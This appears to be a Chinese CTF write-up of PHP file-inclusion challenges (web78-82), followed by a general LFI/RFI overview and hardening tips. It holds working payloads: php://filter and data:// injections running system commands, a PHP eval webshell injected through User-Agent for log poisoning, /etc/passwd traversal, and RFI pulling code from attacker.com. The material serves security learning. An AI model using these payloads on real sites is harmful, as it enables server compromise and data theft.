CTF web入门之文件包含

web78:
在这里插入图片描述
include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。

方法一:filter伪协议
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

base64编码
?file=php://filter/read=convert.base64-encode/resource=flag.php

utf8编码
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

在这里插入图片描述
得到base编码后的flag解密得到flag在这里插入图片描述
方法二:input协议
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中
在这里插入图片描述
方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:
?file=data://text/plain,<?php system('tac f*');?>

在这里插入图片描述
web79:同上,多了个替换php 变成大小写就可以

?file=data://text/plain,<?Php system('tac f*');?>

在这里插入图片描述
在这里插入图片描述
web80:
在这里插入图片描述
在了解过后,发现这道题还可以通过日志包含getshell的方法来做。

日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

首先要判断网站使用的什么服务:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
在这里插入图片描述
在这里插入图片描述
使用brop抓包 在User-Agent 插入一句话木马

<?php @eval($_REQUEST['cmd']);?>

@ 符号:在 PHP 里,@ 是错误抑制符。它的作用是在执行相应表达式时,抑制可能出现的错误信息输出。也就是说,即使代码执行过程中产生了错误,也不会在页面上显示错误提示。

eval() 函数:这是 PHP 中的一个内置函数,其功能是把传入的字符串当作 PHP 代码来执行。例如,若传入的字符串是 echo 'Hello, World!';eval() 函数就会执行这条语句并输出 Hello, World!$_REQUEST 超全局变量:$_REQUESTPHP 中的一个超全局变量,它会收集通过 GETPOSTCOOKIE 方式提交的数据。这里使用 $_REQUEST['cmd'] 意味着可以通过上述任意一种方式传递一个名为 cmd 的参数

在这里插入图片描述
post传参,首先查看列表 .上一步构造恶意的 cmd 参数,执行任意的 PHP 代码

cmd=system('ls');

在这里插入图片描述
可以看到目录下面有flag,直接cat查看

cmd=system('tac f*');

在这里插入图片描述
web81:同上 还是用brop 上传木马 执行命令
在这里插入图片描述

在这里插入图片描述
web82:对于搞不懂的东西,先放一下 后面在弄
这次过滤了点,⽇志包含有.log,⽤不了上面那个。
在这里插入图片描述

知识点: 在php5.4之后php.ini开始有⼏个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = “upload_progress_”

4.session.upload_progress.name =PHP_SESSION_UPLOAD_PROGRESS5.session.use_strict_mode=off

第⼀个表示当浏览器向服务器上传⼀个⽂件时,php将会把此次⽂件上传的详细信息(如上传时间、上传进度等)存储在session当中

第⼆个表示当⽂件上传结束后,php将会⽴即清空对应session⽂件中的内容

第三和第四个prefix+name将表示为session中的键名

第五个表示我们对Cookie中sessionID可控

"简⽽⾔之,我们可以利⽤session.upload_progress将⽊⻢写⼊session⽂件,然后包含这个session⽂件。不过前提是我们需要创建⼀个session⽂件,并且知道session⽂件的存放位置。因为session.use_strict_mode=off的关系,我们可以⾃定义sessionID

linux系统中session⽂件⼀般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建⽂件:/tmp/sess_flag,即使此时⽤户没有初始化session,php也会⾃动初始化Session。 并产⽣⼀个键值,为prefix+name的值,最后被写⼊sess_⽂件⾥ 还有⼀个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利⽤条件竞争来pass,写⼀个脚本来完成

 

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

可参考:https://www.cnblogs.com/justdoIT20680/p/18771953

### CTF Web 文件包含漏洞利用与解决方案 #### 背景介绍 文件包含漏洞是一种常见的Web安全漏洞,允许攻击者通过控制输入参数来访问服务器上的敏感文件或执行恶意代码。这种漏洞通常分为两种类型:本地文件包含(LFI, Local File Inclusion)和远程文件包含(RFI, Remote File Inclusion)。在CTF竞赛中,这类题目经常涉及对文件路径的操控以及协议解析机制的理解。 --- #### LFI 漏洞分析与利用示例 当应用程序未正确过滤用户输入时,可能会暴露出本地文件的内容。例如: ```php <?php $file = $_GET['file']; include($file . '.php'); ?> ``` 在这种情况下,如果`$_GET['file']`未经过滤,攻击者可以通过修改URL中的`file`参数实现任意文件读取。以下是具体实例: - **目标**:读取 `/etc/passwd` 或 `flag.php` 的内容。 - **payload**: ``` ?file=../../../../../../../../../etc/passwd%00 ``` 上述payload尝试通过目录遍历操作访问系统配置文件,并使用 `%00` 截断字符串防止 `.php` 后缀附加[^1]。 --- #### RFI 漏洞分析与利用示例 对于支持远程文件加载的应用程序,攻击者可指定外部资源作为包含的目标。例如: ```php <?php $file = $_GET['page']; include($file); ?> ``` 假设该应用运行于PHP环境并启用了`allow_url_include`选项,则可通过如下payload触发RFI漏洞: - **payload**: ``` ?page=http://attacker.com/malicious_code.php ``` 此payload会将攻击者的恶意脚本引入到受害站点上执行[^2]。 --- #### 绕过文件解析限制的方法 某些框架可能基于特定规则处理扩展名,从而阻止非法请求。然而,仍存在多种方式规避这些防护措施: - **Apache 解析漏洞** 利用不熟悉的中间扩展名迷惑解释器,最终达到预期效果。比如提交名为`shell.php.gif`的图片伪装成正常上传材料后实际却隐藏着危险指令;或者构造形似`test.php.xxx.yyy.zzz`这样的复合型命名结构,在层层剥离过程中保留有效部分得以成功注入。 - **IIS 解析特性滥用** 创建子目录形式模拟常规文档行为的同时嵌入功能性语句完成任务转换过程。像把一段简单的日期显示函数放置在一个看似普通的纯文本记录里头一样简单自然却又威力无穷。 - **Nginx 配置缺陷探索** 结合伪静态映射技巧巧妙设计地址组合使得原本无害的数据载体摇身一变成为潜在威胁源头。譬如说让一张普通JPEG图像悄悄携带上了能够被执行命令的功能模块等等。 --- #### 安全加固建议 为了防范此类风险的发生,可以从以下几个方面着手改进现有体系的安全水平: 1. 对所有来自客户端的信息进行全面验证校验工作,杜绝任何可疑成分残留下来; 2. 关闭不必要的功能开关项目,减少暴露面广度范围; 3. 实施严格的白名单策略管理可用资源列表,拒绝一切未经授权的动作企图; 4. 加强日志监控力度频率,及时发现异常状况苗头倾向以便快速响应处置[^3]。 --- ### 示例代码片段展示 以下是一段用于检测是否存在基本类型的文件包含隐患样例代码: ```php // 不安全的做法 $file = $_GET['file']; if (strpos($file, '../') !== false || strpos($file, 'http:') === 0) { die('Invalid input!'); } include $file; // 更加健壮的方式 $allowed_files = ['index', 'about', 'contact']; $file = basename($_GET['file']); if (!in_array($file, $allowed_files)) { die('File not allowed.'); } include __DIR__ . '/' . $file . '.php'; ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值